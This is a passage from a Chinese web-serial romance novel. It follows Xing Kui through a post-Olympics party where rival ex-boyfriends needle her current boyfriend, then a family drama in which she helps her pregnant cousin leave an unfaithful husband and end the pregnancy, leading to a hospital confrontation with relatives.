之后,许野再次不负众望,摘得男子200米金牌,男子4×100接力因得看四人总成绩,未能夺牌,但两枚金牌已带给他足够重量。 终赛散场,邢葵仔细检查脚下,以防漏了垃圾,梁君赫缺乏捡垃圾的美好品德,左瞧右看,想逮个记者拍拍邢葵,给她增增热度。 后排,有三个人背着身静悄悄地走,梁君赫喉结滚动,发出嗤笑,招手:“喂!哥哥们,今晚谢阿姨要办派对,不跟我们同行吗?” 捡垃圾的邢葵愣了下,昂起脸,三个男人一个接一个转过身。 “周哥、厉哥,还有……你哪位啊?我江哥呢?”梁君赫尾音上扬,漆黑的镜片倒映三人身形,他却仿佛没看见一个人,无论兄弟,还是陈泉,他都只当能被搬开的障碍物。 陈泉刚要自我介绍,电视上发光的大明星问他是谁,怪叫他害羞,谁料,梁君赫失望地移开视线。 “我说江哥怎么变矮了,还以为他平时偷偷用了增高垫,居然不是!” “……”一句话攻击两个人,陈泉闭上嘴,不怪网友说梁少爷像迫击炮,当真具备杀伤力。 啪,邢葵轻轻拍了梁君赫一下,他立即熄火,高高兴兴抱住邢葵手臂:“葵葵有何吩咐?” 陈泉:“……”太差别对待了吧。 “没吩咐,就是想打你。”在外人面前也说兄弟坏话,真不怕引火烧身,邢葵走向后排,“你们有要去谢伯母派对的吗?与其藏着,一起走吧。” 奥运会在国外办,江玉鸣假请不下来。谢成雯在异国豪掷千金,包下市内一家五星级酒店,宴请所有已结束比赛的相关人员。 城市夜景璀璨,优雅白月似的灯光流淌在酒店上空,旋转门分隔酒店内外,无边的游泳池周围人如潮水。 据说这家酒店有的套房每晚租金要上万美金,落地窗边,邢葵呼吸间嗅到清冽的香氛味,不不不,是金钱的味道。 侍应生端来一杯香槟,邢葵还没说话,梁君赫冲过来一饮而尽,瞪了眼站她旁边的厉乘川:“你不准喝酒,除非就我们两个人。” 邢葵:“我知道。” 梁君赫:“还得熟背!哟,厉哥,你也在啊,黑漆漆的,都跟墙融为一体了,我都没注意。” 这就是昔日最爱赞美兄弟情的好兄弟。厉乘川平静脸,习惯了兄弟的背叛:“邢葵找我有事。” “嗯嗯,我先前不是在怀疑厉总嘛,我跟他道了歉,然后我也搜集了许多调查他的素材,想问问他能不能发,他也同意了。” 再加上奥运会素材,至少两个月她都不会再缺素材,邢葵遂心快意,嘴也甜,“谢谢厉总,你人真好。” 梁君赫手抵住唇,将要飞出嘴巴的笑按回去,得意洋洋的眼神如尖细的钉子,钉厉乘川,重复:“是,我哥人特别好。” 收好这张好人卡,拜拜了您嘞。 “葵葵。” 派对的主角许野和周镜并排走来,厉乘川站邢葵左边,梁君赫站邢葵右边,他俩就站到中间。 霎时,一股四面楚歌的压迫感油然而生。 本想夸一下许野的邢葵张张嘴又合上,挠鼻梁,不是,她身后是墙,前面四个男人,全方位被堵死吗? 倏地,梁君赫往她伸手,揽过她的肩,满身不加掩饰的张狂。 “兄弟们,你们跟我站一块真合适,不如这样,等我和葵葵结婚,我请你们当伴郎。” 许野用举世皆知的荣耀盖过年龄差距,想重新变为完美的应对催婚问题对象。 周镜更聪明,想来也在为此谋划,兴许某一日他也会为他身上添加上“暂时不能结婚”的限制。 而厉乘川,则是邢葵失忆前选中的人,外在形象完全符合邢家长辈心意,也只差个限制条件。 梁君赫笑嘻嘻地望着对邢葵虎视眈眈的情敌们,都等着他跟邢葵分手想上位的情敌们。 天上地下,唯他独尊地,发出“当伴郎”邀请。 第99章 邢葵真想原地挖坑,把自己埋进去。 或者会土遁术也好,直接往下遁,逃出这该死的包围圈。 梁君赫这个胆大妄为的家伙,居然当面邀请周镜他们给他当伴郎。 邢葵头皮发麻,上个月梁君赫和她在家看恐怖片,缩她怀里瑟瑟发抖要亲亲,果然是演的! “我同意。” “?”不儿,谁同意? 派对内响着各种乐器声,是年轻的运动员们在兴奋玩耍,周镜身上透着少年人欠缺的温良知礼,灯光下文雅的面容似加了层柔光滤镜。 “我们兄弟站在一处确实美观,等我和葵葵结婚,还得拜托你当伴郎。” 柔光中藏着尖利锋芒。 邢葵更想跑了。 许野和周镜并排,二十岁的运动员身体饱含挡不住的凌厉,用他粗糙的嗓音呼应:“嗯,我要能跟葵葵结婚,也拜托你了。” 别这么诚恳啊! 梁君赫笑了一声,精心养护的手指插-进他黑色柔软的发,似埋怨似挑衅:“你们太过分了,怎能觊觎兄弟的女朋友。” 他往邢葵方向走了一步,随意地靠到她侧身后玻璃墙,单手搭上她的脖颈,旁若无人地展示亲昵。 “回去反思反思吧,身为好兄弟,要懂得放手和祝福。” 周镜淡淡地瞄了眼梁少爷,因为正在其位,梁君赫有恃无恐,满脸“神挡杀神、佛挡杀佛”的狂妄。 “以前你说过什么,需要我向葵葵转述吗?” 邢葵正好奇,身后的人捂住她两耳,香气扑到她耳边:“葵葵别听,是污蔑。” 猜也猜得到,以梁君赫性格,估计从前嘴硬立过不少flag。 她抓抓梁君赫手背,让他松手,想到了破局方法。 包围她的四个人,就厉乘川不喜欢她。 如果厉乘川不是在跟踪她,那他那些对她谈恋爱的反应,应当就是在管他的兄弟们? 可以通过他来化解包围,邢葵有点心虚地抓了下衣角:“抱歉啊,事情怎么就这样了呢,你不管你的兄弟们了吗?” 厉乘川眉眼锋利:“管不了。” 他本也不是插手兄弟恋情,是他们背着他偷她,一个个的,估计没少跟邢葵说他坏话。 你怎么能管不了啊!她可咋办,不再努力一下吗? 邢葵心里迷你版的邢葵疾奔,就在小人急得团团转,拿起木鱼试图敲大悲咒时,外面忽然响起惊奇声。 “快看!那是什么?” 夜空中猝地冲上数不清的金色光点,如蜉蝣,如星星,比蜉蝣大,比星星亮,它们在高空分散,眨眼汇聚成一只黄金猎豹、一只大圈和一枚奖牌。 “是无人机表演!” “得用了几千架无人机吧,天呐!” 夜幕之上,硕大无比的猎豹迅如闪电穿过大圈咬住奖牌,气势惊人有如真有实体,接着,光点散作明灿流萤,在天际旋转,化作向日葵花丛。 邢葵看得怔住,是谢成雯在替许野庆祝,也是许野在完成她的愿望。 过去她跟许野说过很多,她想做没做的事,其中有一项,就是看无人机表演。 这是在异国他乡送给她的视觉盛宴。 向日葵象征坚定的信仰,恰也是符合比赛的精神,这般做不显得突兀。 天空中,灿金色的向日葵花丛追逐太阳的方向,明亮,栩栩如生,叫人震撼失语。 倏地,窗户前,梁君赫搭上她的肩,尖尖的下巴抬高,粉色唇角也往上抬了一下。 随之而来的是人们再度惊异的呼声,无数桃花色的光点从月亮那一端升起,聚合成一把枪。 上膛、发射。 梁君赫抬起一只手,继而转过身,冲许野做出子弹发射的姿势,一只眼闭着,一只眼睁着,骄矜不逊:“想向我女朋友献殷勤,等我不是她男朋友再说吧。” 他勾起嘴角。 “而我——不会和她分手。” 他说得如此笃定不移,坚信他就是邢葵的正确答案。 话别讲得太早,小心又立一个会倒的flag。 周镜推眼镜,许野看向窗外夜空向日葵,厉乘川向侍者要了杯香槟。 梁君赫笑得恶劣,邢葵怀疑他肚子里憋了坏水,过了几周,她才得知,自派对那日后,梁君赫每天都要给他的兄弟们发信息。 【今天我也是邢葵男朋友。】 跟签到打卡似的,服了他了。 但他并没有他表现得那般笃信,撒娇拉着邢葵去景区挂同心锁,哄她一起戴同心结手绳。 就连梁君赫的手机挂件,都换成了寓意爱和永恒的坦桑石。 听王姐说,梁君赫每天还要拜拜各路神仙菩萨。 可能天上的神仙们真听到了梁君赫的祷告,八月,亦平安无 事。 这个月,邢葵开更奥运会专题和病友解谜专题,帖子视频爆了一条又一条。 网友笑成她是真的大难不死必有后福,前任竟能跑成奥运冠军,许野开通微博回复:【没遇到她,我跑不成。】 直接将她送上微博热搜,她的身价接连提升。 李正军闻听许野喜讯如闻噩耗,在家里食不下咽好几日,邢母还好,只叹了句没缘分。 现如今他们有新的好女婿,都没说什么。 某天邢母打电话给邢葵,李正军非要爹味十足地插嘴:“我警告你啊,这个好女婿可不能再错过。” 旁听的梁君赫气鼓鼓,电话一结束就抱着她亲:“你爸怎么不夸我比许野好,说得跟我是许野平替次替似的!我是贵替!贵替!” 无论如何,至少李正军透露出来的意思,两位家长毫无让邢葵分手的想法。 当晚,邢葵累得不想动,梁君赫抱她去洗澡,全收拾完上床,春风得意地群发兄弟们消息。 【今天我也是邢葵男朋友。p.s.:今天还得到了岳父岳母的认可。】 九月,邢葵奥运会专题更完,病友解谜专题在更。 兰姐同她商量,想让她在直播间边聊奇妙历险边带货。 她不是非常外向的人,兰姐也清楚,多方商讨后,决定让她一周一场试试水。 邢葵点了头,要来小嘉pd做直播间助理。 反响还行,第一次带货时她紧张结巴了一下,又鼓起勇气,向镜头展示,真诚推荐,网友“哈”了满屏。 【完蛋了,比起巧舌如簧的我更吃这种,下单了,莫辜负。】 当然还是巧舌如簧的更赚钱,不过邢葵不想强迫自己,只当带货多笔收入来源和名气提升渠道。 挂购物车的商品她都有用过,几周下来积累了不少好口碑。 九月份,亦平平稳稳地过去。 十月国庆节,邢葵挤出时间回甘临市,梁君赫说他眼皮老跳,担心得非要作陪。 “你陪着说不定才有危险。”去往兴虹镇的车里,邢葵摇头吐槽。 一只手捂住她的嘴,梁君赫焦躁:“别说晦气话!这日子本就晦气!” 邢葵拉开他的手:“国庆节哪里晦气了?” “你跟许野就国庆节分的手。”梁君赫寒毛都要竖起来,越说越惴惴不安,嘟嘟囔囔,似在念经。 邢葵凑近伸耳听,他漂亮的唇瓣张张合合,“玉皇大帝、如来佛祖……平日信徒我没少给你们烧香,给力点啊!” 他甚至手点眉心两肩,“西方的,信徒我也没少给你们供奉……” 邢葵忍俊不禁:“你信的真多,不用担心,我妈昨晚还打电话,问你来不来,爱吃什么,她早起去菜市场,中午给你做。” “真的吗?我最近爱吃莲藕、南瓜、西红柿……” 莲藕象征佳偶天成,南瓜象征幸福绵长,西红柿象征柿柿如意…… 但邢家的饭桌上都没有。 梁君赫坐在桌边椅子上,眼皮又开始跳,死死盯着一盘白菜炒肉,怀疑它寓意白来、真菜、炒鱿鱼、癞虫合蟆想吃天鹅肉。 毛骨悚然,白菜炒肉旁边就是一盘青椒炒鱿鱼和一盘干锅田鸡。 邢葵从厨房出来,端上一盘凉拌杂菜,凉拌…… 梁君赫猛地抓住邢葵的手腕,说了句只有她听得懂的西班牙语:“你爸妈不会在暗示我吧?” “?”哪来的暗示,她家长还没说几句话。 “说什么呢,西州那边方言跟咱们南州也太不同了。”李正军眼弯成一条缝,“吃菜,吃菜,你伯母特意买的现杀的田鸡,新鲜呢。” 邢葵用西语回复梁君赫一句:“你看,他们一点都没要我跟你分手的意思。” 真的吗?梁君赫难以宽心,看着最后走出厨房的邢母放菜盘,脑子里遐想完全止不住。 虾仁炒鸡蛋,吃完快滚蛋。 邢母慈善地笑:“吃啊,恐怕没你平常吃得好。” 邢葵咬了口嫩到入口脱骨的田鸡肉:“哪儿的话,有时候外头的大厨,未必抵得上妈的手艺。” 餐桌下面,她轻轻地踢了下梁君赫,他才不情不愿拿起筷子。 “你说说,小赫,来就来了,还带这么多东西。”邢母夸道。 “啊?”梁君赫抬头,“我没带东西,那都是邢葵准备的。” 一瞬间,邢家父母表情齐齐飘上尴尬。 桌子下方,梁君赫赶紧伸腿揽住邢葵的腿:葵葵救我! 被梁君赫搞的,邢葵也有些紧张,给他夹了块她觉得特别好吃的田鸡,偷瞄父母,松了口气。 邢母和李正军都很快恢复了常态,邢母招呼梁君赫吃菜,李正军则乐呵呵抓起白酒瓶。 “来,咱们碰一杯。” 梁君赫移开杯子:“这酒太次了,不配进我的嘴。” 邢葵:“……”一口气提到喉咙,梁少爷飞扬跋扈,别惹毛了她家长。 幸好,邢家父母同样也只是变色一瞬,毕竟他们不是头一天见到梁君赫的脾气,快速恢复如常。 一顿饭,安全度过,出门看到太阳时,邢葵都有一点点恍惚,伸高五指去挡阳光。 她在家里待了三天,梁君赫有工作,加上他心理作用眼皮总跳,第一天就告了退。 三天结束邢葵返回西州凤田市住所,收工的梁君赫缠着她亲亲。 “我走后,你爸妈没说我坏话吧?” “没有呀,你亲哪里!”邢葵抓住梁君赫黑发,他从她的唇亲到小腹。 “我不放心,老婆,我要亲深一些心才踏实!”他箍住她的腰,手掌落到她的腿,呼吸间毫不隐藏的渴望。 “不要为你想亲找借口!” “就找,葵葵宠我一下。”梁君赫甜甜的,看上去已放下忧虑。 但邢葵清楚他一定还在忐忑,无可奈何地抓抓他手感很好的头发:“好,宠。” 夜深,邢葵愉悦地闭上眼睛想找周公,梁君赫枕着胳膊,侧躺着睡在她身边。 “葵葵。” “欸。” “老婆。” “欸。” “葵葵老婆!” 邢葵睁开眼,被吵不能入睡的火气蹭蹭向上冒,一掌将梁君赫从床头拍到床尾:“有完没完?欸?我有这么大力?” 自己蹿到邢葵腿边的梁君赫严肃点头:“嗯,大力出奇迹,我睡不着,我再亲一会儿。” “梁君赫!”邢葵抓起右边枕头就扔过去。 “葵葵宠我!”梁君赫抱住枕头,“还怕我冷,不会的,我热得能煮鸡蛋。” 邢葵抬手,拍住额头,盖住眼睛。 算了,他在患得患失,她又何尝不会担心。 在一起半年,梁君赫染黑了长辈会不喜欢的粉发,他的黑料她也向邢母打过招呼,无法无天的性格也没让她父母不满。 真好,邢葵也盼望,梁君赫就是她在找的答案。 透过窗帘洒在地板的月光皎洁,转为更亮的日光,又变成月光,日子就这般平稳顺利地过去。 国庆七天假期结束,第八天是个大晴天,早上八点阳光明媚,邢葵拉开窗帘瞄了眼,又倒回床睡懒觉。 假期她有大量的工作,前三天陪邢母,后四天她累得不知早晚,昨天试用要上直播间的商品,差点倒在商品里睡着。 床头柜上手机嗡嗡,邢葵皱着眉,折叠枕头盖住耳,继续嗡嗡,她掀起被子,再次嗡嗡,她痛苦地伸臂。 “喂。”说话声音都要嗡嗡的了。 “葵葵。” “葵葵!” 第一声来自邢母,第二声来自三婶高红梅,貌似是她等不及抢了话。 “知乐有没有联系你?” 邢葵懵圈,感觉不是好事,从被子里钻出来,靠到床头:“怎么了?” “哎哟喂,她跟赵鹏闹了点小矛盾,昨儿晚上趁赵鹏睡着,离家出走了。”高红梅声音急切,邢葵都听到她拍大腿的动静。 “婶婶你别急,知乐的朋友你联系过了吗?”邢知乐父母都不冷静,这个时候,邢葵得冷静。 “联系过了,赵鹏连她同事的家都去了,没人,我就想着,你住京江,和昆武近,知乐可能会联系你。” 邢葵镇定:“不一定,知乐没我联系方式,也不知道我的具体住 址,婶婶,我记住了,你再问问其他人,和赵鹏想想知乐还有什么朋友,等她失联过二十四小时报警吧。” 邢母拿到手机:“就这样哦,你婶快急死了,你能帮的帮帮她。” “好的,妈。” 挂了电话,邢葵下床洗漱,牙刷进口,想起离家出走的邢知乐,歪了下头。 这位堂妹不太可能求助她吧,一来她联系不到她,二来她俩关系也就一般。 下午,邢葵在外面拍摄,兰姐打来电话。 “葵葵,有个人来公司找你,说是你亲戚,我看了她身份证,叫邢知乐。” 邢葵愣了愣:“啊?是的!兰姐我这就回去,你帮我招待一下她,拜托了。” 兆光文化,邢葵风尘仆仆地赶到,办公室外的长椅上,抱着一杯茶的女人仰头看向她,站起身,小腹凸起。 看到她的瞬间,邢知乐眼眶泛红:“姐。” 第100章 邢知乐肚子些微隆起,很像怀了孕。 上一次见到她,还是去年四月初,邢知乐和赵鹏的婚礼。 邢葵赶快上前:“走廊空调温度低,你会不会不舒服?” 办公室,一位波波头女性走出,是小嘉pd,全名吴佑嘉:“老师,我让她进去,她不肯,非要坐门口等你,我就给她倒了杯热茶。” “好,谢谢,知乐进来吧,这里没危险。”邢葵去搀扶她,兆光文化这些月招收了些新员工,办公室也从一间扩张成三间,不过主要的办公室还是只有兰姐和几名重要职员,比较清静。 邢知乐却等不及进入,手掌握住她的手腕,锁着她的眼里惊惶无助,涌出泪。 “姐,你的账号接投稿吗?我有一段奇妙历险,能跟你换到多少钱?” 看上去,她经历了什么,且急需用钱。 邢知乐虽然愚笨,上学时一百分的卷子考八分,但让她直接向不熟的堂姐讨钱,这种不要脸的事她还做不出。 邢葵看向她抓她手腕的手,极用力,像溺水的鸟,爪子拼命攫住浮在水面的树枝。 她跟邢知乐真关系一般,十岁以前两人还会在一起玩,跳房子、跳皮筋、踢毽子……可后来她升初中,邢知乐还在小学,渐渐地,二人自然疏远。 儿时都扎两条辫子的小女孩,上学后走上不同的路。邢葵因为成绩优秀被夸,邢知乐因为成绩稀巴烂被骂。 再后来,邢葵因为不结婚被攻讦,邢知乐因为结婚被赞美。 邢葵上一回见到邢知乐还是后者婚宴,结婚之后下一步是催育,婚礼上不敢多吃怕腹部鼓起穿衣服丑的新娘,如今挺着几个月的孕肚。 “你先冷静冷静,跟婶婶打个电话,婶婶很担心你。”邢葵要馋她走,邢知乐却突然甩开她,像受了莫大刺激。 “不!不能联系我妈!姐。”她仓皇着,忽然抓住她的手要下跪,“姐!我求你,别告诉我妈我在这儿!” 邢葵连忙看向吴佑嘉,两人齐上阵,没让邢知乐一个孕妇真跪下去。 “不行,知乐,我答应了红梅婶婶,而且你再失联下去,到晚上她就会报警了。”即便邢知乐如此作为,邢葵仍旧不能盲目点头,出了事谁负责。 “她不会报警的!”邢知乐吼道,“闹到警局她嫌丢人,她不会报的。” 邢葵低下眼皮,想起早上电话中,她提到报警后,高红梅是没出声明确地说答应。 “姐,我求你,收了我的故事,帮我一个忙。”邢知乐泪流满面。 吴佑嘉为难:“老师不接投稿。” 邢葵按上她的肩膀,邢知乐的精神状态不好,还是先顺着她:“不碍事,她求到我,她的故事就是我的奇妙历险,知乐,进去说吧,里头都是我熟人,不会乱听乱讲。” 办公室不大,正东方向兰姐的办公位离旁人远,邢葵带邢知乐过去,兰姐友好让位,但怕出意外要旁听。 邢葵介绍:“这是我老板兼经纪人,叫兰姐兰总都行。” 兰姐有一对吊梢眼,邢知乐有点怕地躲闪眼神,对此,兰姐笑笑:“别叫兰总,使不得,我上头还有大老板,叫我兰姐就可以了。” 邢知乐看向她无名指的钻戒。 兰姐抬起手:“啊,没结婚,搭配今天衣服戴的。” “没结婚好,没结婚好。”邢知乐表情苦涩,眼中莹润,“结婚之后谁知道对方会变成什么样,姐,赵鹏,他出轨了。” 邢葵颤了下眼睫,大概猜到了这点。高红梅电话中曾提及邢知乐跟赵鹏闹了点小矛盾,邢知乐的表现又像她家出了丑闻,答案约莫就那些。 “一开始,是我发现他玩手机,我一过去他就把手机翻过来,我取笑他‘别不是在跟小情人聊天’,他哄我,说‘有我这么漂亮的老婆他怎么会看别人’,我被他骗到了。 可后来,这样的事重复发生。 我开始起疑,他加班回来衣服上挂了一根长头发,我看到头发,他拾起,吐槽说他同事老掉发。 我勾-引他要做,他说刚怀孕做了危险,四个月稳定了,我又勾-引他,他又说看我大肚子奇怪。 现在想想,他哪是不想做,是在外面做够了,做不了。” 邢知乐咬牙切齿,邢葵递给她热茶,她喝了一口,手指掐住陶瓷杯身,指甲泛白。 “我的怀疑一直持续到国庆节假期,他说要出差,我收买了他公司的人,查到他根本不用出差。 他出轨了,还虚伪地发来异地风景照,说什么,他出差的地方景色不错,等我生我孩子要带我去二人世界。 他正在跟那个贱人二人世界。” “喂喂。”兰姐打断邢知乐,“只有你老公是能确定的贱,小三未必是知三当三,万一是被三的呢。” “可能吧,再之后,我跟他吵,他说我冤枉他,说我无理取闹,狗急跳墙甩了我一巴掌。 我气得叫来他父母,打电话给我父母,想让他们为我主持公道,他们却和稀泥! 我要跟他离婚!我要打胎!他们反而骂我!姐,昨晚我去过医院了,四个多月得引产,要大几千块,你能不能帮我?” 邢葵诧异了一下:“你手里连几千块都没有?” 邢知乐摇摇头:“我刚怀孕的时候,赵鹏说怕我管钱累,把钱都转到了他卡上,他每个月给我发一笔,我收买他公司的人用掉了,你知道,姐,我一向不聪明。” 兰姐喝了口水:“确实不聪明,幸好懂得来求助邢葵。” 邢知乐:“嗯嗯,姐有钱人也好。”她那些朋友同事,哪怕有钱都不一定肯借。 兰姐呛到:“咳,我还以为你是知道,引产得要你老公签字,邢葵能解决这个问题。” “什么?引个产为什么要赵鹏签字?孩子在我肚子里我没有决定要不要ta的自由吗?”邢知乐激动地攥住邢葵,“姐,帮帮我,他绝对不会签字的!” 是有不要证明的医院,只是绝大多数医院都要求,防止医闹等等。 邢葵安静一瞬:“妇女权益保障法中写明,妇女有不生育自由,你下定决心不要孩子,我能为你的故事买账,签字的事我也能处理。” 她的前任周镜是 顶级律师,聘他去和赵鹏谈判会得到满意结果。 邢知乐眼眶红彤彤的:“我真心不要,姐,我想好了,我昨天晚上要不是想到了姐,甚至想从医院楼梯上滚下去,求求你。” 邢葵敛眸,过了会儿睁眼:“我需要你也给我签个字。知乐,你说得再笃定,未来你会不会后悔也是未知的,我不想惹祸上身。” 邢知乐应道:“好。” “还有我得告知你的父母。” “不!告诉他们我就引不了产了!”邢知乐又要下跪,邢葵和兰姐拦住她,她攀住两人手臂,“让我生赵鹏的孩子不如让我死,我签保证书,一切后果我负责,行吗?行吗?” 邢葵就等她这一句:“可以,这一项我也会写在协议里,赵鹏那边我来安排,但你得亲自联系下红梅婶婶,跟她说你没事,别让母亲担心得睡不着觉。” 兰姐欣赏地看了眼邢葵,聪明冷静,没有因为邢知乐几句话就掏钱,也没有因为怕事就拒绝,方方面面考虑周全。 难怪能谈数任顶尖配置的男朋友。 最近就让邢知乐住在她的住所,邢葵打电话同梁君赫商量,他刚结束完一部电影的试镜,接起电话就向她撒娇。 “太过分了,导演竟然嫌我太美少年了不适合贫民人设,没听过贫民窟美少年嘛?葵葵,要安慰。”要亲亲。 “好,我的贫民窟美少年,跟你说件事……” 梁君赫虽不在现场,但邢葵感觉他要在的话,这时已经挂到她身上,咬她的脸颊,抓起她的手指覆到纽扣求宠。 “我就说为什么这几天眼皮老跳,原来是家里要多个电灯泡!” “你一个月在家的时间不超过两天。” “好吧,既然葵葵答应亲我一百下,我勉为其难同意吧。” “?”邢葵哭笑不得,瞥了眼身边兰姐和眼眶通红的邢知乐,侧过身挡住嘴,“亲肿了你试镜更不能通过了。” 电话里的梁君赫洋洋得意,邢葵都能想象到他的神情,精致的眉眼一定满溢欢悦。他的语气也是欢悦的:“那正好,我有空带着肿的嘴去兄弟们面前逛一圈。” 半秒后,梁君赫又换成认真的口吻,“不过葵葵,就算邢知乐能签字让你免责,你家那些和我爸有共同语言的亲戚,必也会迁怒你。” 邢葵偷看邢知乐,起身走到一边:“我清楚,可知乐有寻死的念头,引产离婚是她此时此刻救命的药。” 梁君赫弯唇:“你能开她药,就不会冷血不管,而我呢,帅气的男朋友会保护葵葵不受欺!” 一旁助理点了点手机时间,提醒梁君赫要去见导演,他抬手示意他等等,“周哥那里我去说,你跟周哥讲话我吃醋,等我好消息。” “行,贫民窟美少年,再去争取下角色吧,拜拜。”邢葵嘴角挂上笑意。 “等一下!”梁君赫叫止,邢葵听到他匆匆的脚步声,似寻了个隐秘角落,接着,一声响亮的“啵”从手机那头传过来,“好了葵葵,拜拜~” 他!哎,邢葵脸温升高好几度,梁君赫无愧于他的微信名,真带给她甜甜的恋爱。 此后,邢知乐联系高红梅,说她要一个人清净几天,不用找她。 邢葵将邢知乐安顿在梁君赫公寓,叮嘱她每天要向母亲汇报安全,数日间,周镜替她拟定了免责协议,也搞定了赵鹏。 不愿向她收取费用,周镜只淡淡叹了一句:“要是我们还在交往就好了,能用接吻抵债。” 邢葵僵住,急忙挂断电话。 一切准备就绪,邢葵带邢知乐去辉德医院住院,陪她做各种检查,赵鹏那恶心东西也来了,非要跟在旁边,言语间还在劝邢知乐放弃。 譬如声称他已经和小三断联,就是一时迷了心窍,发誓日后不会再犯等等。 邢知乐让他滚。 人群望过来,赵鹏下不来台,急眼想说“离了婚你就不值钱了”,话讲到一半,被邢葵一个眼神定住,看到邢葵他就如同见到厉害的周镜,窝囊地闭上嘴。 邢葵冷笑,出轨的时候也不见他窝囊,打她妹妹的时候也不见他窝囊。 “姐。”躺到病床,邢知乐依赖地抓住她的指尖,“辉德超有名的,费用会不会很贵?等事情结束我去找工作,赚钱还你。” 拿来药物的护士闻言,笑:“就正常费用,我们可不会店大欺客,再说你姐和江医生是朋友,欺负谁也不能欺负你啊。” “江医生?”邢知乐疑问。 “这家医院的继承人,不止医院吧,辉德还有制药公司、医疗仪器公司……” 邢知乐呆住,愚钝的大脑想起来,好像上半年,高红梅跟她讲过,邢葵还有个医生追求者,不过没什么钱……没什么钱?! 邢葵将牙刷等洗漱用品放到卫生间,几个兄弟有时会共通消息,周镜转告了江玉鸣,江玉鸣特地为邢知乐安排了信得过的护工,所以底下职员才会知情。 她也想向江玉鸣交费,江医生万般勾人地笑了声:“等你和梁贱人分手,我自会吻你收费。” 你们真不愧是兄弟! 引产很麻烦,要吃药还要打药,几日后,经过剧烈的疼痛折磨,胎儿正式被从邢知乐子宫引出。 邢知乐睡着,邢葵守在床边,打电话给邢母,从而联系上高红梅一家,向他们坦白实情和医院地址。 不等被骂,邢葵飞快挂了电话。 入夜,邢知乐睡醒,趴在边上浅眠的邢葵也随之醒来,擦擦双眼:“还好吗?饿不饿?我买了瘦肉菜粥,要不要喝点?” 引产的剧痛,令邢知乐犹如在生死一线徘徊了一趟,她面色苍白,但却笑得灿烂:“终于,没了负累。” 邢葵拿碗,打开保温杯倒粥,热粥香气漫在病房,邢知乐眼里闪起泪花。 “姐,你怎么从头到尾都没劝我留下孩子?” “啊?孩子在你肚子里,当然得你自己拿主意,你的人生我能负责吗?别想太多,来,喝粥。”邢葵舀了一小勺,递到邢知乐嘴边。 邢知乐抿下一口,哽咽:“对不起,姐,去年你被骗到我的婚宴相亲,我也和我妈一样瞒着你。” 邢葵舀粥:“都过去了。” “我很嫉妒姐。”邢知乐蓦地说道,“明明小时候跟我一块玩,为什么上学后,你什么都比我强,你收情书,我只能送情书,你考大学,我只能上技校。” 邢葵噎了一下。 “可是后来变了,我结了婚,成了长辈口中的楷模,你却沦为他们口中‘嫁不出去的老姑娘’。” 邢知乐骄傲,然后怅然地笑,“你来我婚宴的那天,我抱了看你出糗的坏心思,对不起,姐,我故意看你笑话,对不起。” 邢葵给她喂了口粥:“别对不起了,引产的费用,你以后还是还我吧。” 邢知乐默:“姐……” 邢葵冷脸:“再叫姐也要还,跟你不熟哦。” 香糯的粥一口一口喂进邢知乐嘴里,她弯起缀泪的眼睛:“谢谢姐。” “谢她个屁!”病房忽被大力推开,门撞上墙发出砰的声响,高红梅、邢耀祖,邢母、李正军,步履如飞,相继进入房间。 高红梅上来就扬高手臂要打邢葵,邢母赶忙阻拦:“红梅,红梅,葵葵不懂事。” “她杀死了我孙子!”高红梅一把推开邢母,邢葵扶住踉跄的母亲,三婶依然冲过来要扯她头发,这时,一个人冲进病房,从后面拽住三婶衣服,将她往后一扔。 梁君赫气喘吁吁:“还好赶上了,葵葵躲我后面,喂,这位婶婶,你女儿自己决定的,要打打你自己女儿去!” “你们!你们凭什么!知乐不过跟赵鹏有一点小矛盾,你们凭什么毁掉人家家庭!” 梁君赫:“喂,你听不懂人话是不是,我说是你女儿——” 邢葵:“婶婶管赵鹏出轨叫一点小矛盾?” 高红梅歇斯底里:“哪有完美的人!他都发誓要改正了,知乐就是情绪上头,邢葵,你是不是嫉妒我们知乐能结婚,赢了你一头,存心害她!” 梁君赫气笑,冲她翻了个大大的白眼:“男方出轨的婚姻谁羡慕啊。” “妈……”病床上的邢知乐虚弱发声,“不关姐的事,你别闹了。” “她害你!一个女人打胎、离婚,一辈子就毁了!”高红梅哭出来,见到邢知乐惨白的模样,也心疼,坐到床边,手足无措,“疼不疼,你糊涂啊!” 梁君赫扯了下嘴角,嘴毒不饶人:“生下出轨男的孩子,继续和他稀里糊涂过才笨吧,你应该感谢上苍,你女儿终于聪明了一回。” 这话把房间里两家人都骂了进去,邢耀祖嫖过娼,李正军出过轨,二人的妻子都忍了下来。 邢葵抓抓梁君赫,讲得很带劲,只是引产一事,事后她少不得要被邢母和李正军说一顿,他还是少点儿攻击性。 “婶婶,叔叔 ,知乐现下需要安静,你们有任何责怪的话,等她养好身体再说,身份证给我,我去帮你们办陪床。” “你不用养身体,我现在能跟你讲吧?”办完手续,医院某处等候区,邢葵和梁君赫并排坐,邢母和李正军坐对面。 “妈,请讲,我戴一下耳塞。”邢葵翻梁君赫口袋,梁少爷不爱听人讲话,口袋里常年会放耳塞。 “葵葵!”邢母喊道,“这回你做得太超过了,来京江的路上,我被我弟和高红梅骂得头都抬不起来!” 邢葵超小声:“暂时的……妈……我从小就看你们兄弟姐妹几个相处,吵得互相指鼻子骂脏话,过段时间仍然是和和美美一家人。” “邢葵!”李正军厉声呵斥,“我和你妈真太惯着你了,让你有胆子带知乐打胎!谁家日子不是吃苦吃过来的。” 邢葵皱了下眉梢,多年没叫过李正军爸的她,冷不丁开口:“爸的意思是,我们家也吃过类似的苦?” 李正军圆滚滚的脸唰地黑下:“胡说八道。” 是不是胡说,他心里最清楚,梁君赫搭上邢葵手背,她反过手,手指穿入他的指缝。 记不清是多少年前,邢母表情不自然地,让邢葵看她手机上一位阿姨的照片,问她,她和她哪个更漂亮。 这件事李正军并不知情,还以为多年来父女疏离,是因为他努力工作,没时间与女儿相处。 他沉浸在自我奉献的感动里,邢葵却连看他一眼都想吐。 诚然,李正军在她成长过程中是付出过金钱,但钱财,不能让一个女儿闭上她的眼睛蒙上她的心。 自工作后,邢葵就有意识地在还李正军钱,小额一笔一笔地给,再过几年就能还完,但李正军想要的除金钱以外的孝顺,她一丝一毫都不会给。 不知道邢知乐清不清楚她爸嫖过娼,不知道邢知乐对此何种态度,邢葵身为和她一样的女儿,觉得母亲的选择实在是烂透了。 然而各位母亲就生活在那样要求女性容忍的环境里,她们中的少数人奋起离婚,还会被骂成“不顾孩子的自私东西”云云。 啊,可能邢知乐对她爸的事也是知情的,邢葵想到邢知乐醒来后的第一句话:“终于,没了负累。” 